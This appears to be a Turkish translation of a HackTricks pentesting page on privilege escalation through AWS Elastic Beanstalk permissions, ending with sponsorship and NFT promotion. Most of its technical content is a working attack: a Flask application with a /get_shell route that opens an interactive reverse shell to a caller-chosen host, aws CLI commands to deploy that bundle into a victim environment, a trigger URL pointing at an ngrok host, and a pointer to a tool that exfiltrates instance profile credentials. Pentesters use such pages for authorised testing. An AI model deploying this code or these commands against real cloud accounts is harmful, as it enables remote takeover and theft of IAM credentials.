Beanstalk'ta hassas işlemleri gerçekleştirmek için birçok farklı hizmette hassas izinlere sahip olmanız gerekecektir. Örneğin arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk'e verilen izinleri kontrol edebilirsiniz.
elasticbeanstalk:RebuildEnvironment, S3 yazma izinleri ve diğer birçok izin
Ortamın kodunu içeren S3 bucket üzerinde yazma izinleri ve uygulamayı yeniden oluşturma izinleri ile (gereken elasticbeanstalk:RebuildEnvironment ve S3, EC2 ve Cloudformation ile ilgili birkaç izin), kodu değiştirebilir, uygulamayı yeniden oluşturabilir ve bir sonraki erişimde uygulamanın yeni kodunuzu çalıştırmasını sağlayabilirsiniz, bu da saldırganın uygulamayı ve onun IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, ve daha fazlası...
Bahsedilen ve birkaç S3, EC2, cloudformation ,autoscaling ve elasticloadbalancing izni, sıfırdan bir Elastic Beanstalk senaryosu oluşturmak için gereklidir.
Öncelikle, önceki adımları takip ederek, kurbanda çalıştırmak istediğiniz kodu içeren gerçek bir Beanstalk ortamı oluşturmanız gerekmektedir. Muhtemelen bu 2 dosyayı içeren basit bir zip dosyası:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Gereksinimler
boto3 kütüphanesi yüklü olmalıdır.
awscli yüklü olmalıdır.
AWS hesabınıza erişim sağlayacak yetkilendirmelere sahip olmalısınız.
Kendi Beanstalk ortamınızda çalışan tersine kabuğunuz olduğunda, artık onu kurbanın ortamına göçürme zamanı gelmiştir. Bunu yapabilmek için beanstalk S3 kovasının Erişim İzni Politikasını güncellemeniz gerekmektedir, böylece kurban erişebilir (Bu, kovayı HERKESE açacaktır):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
[The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'lerimiz]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz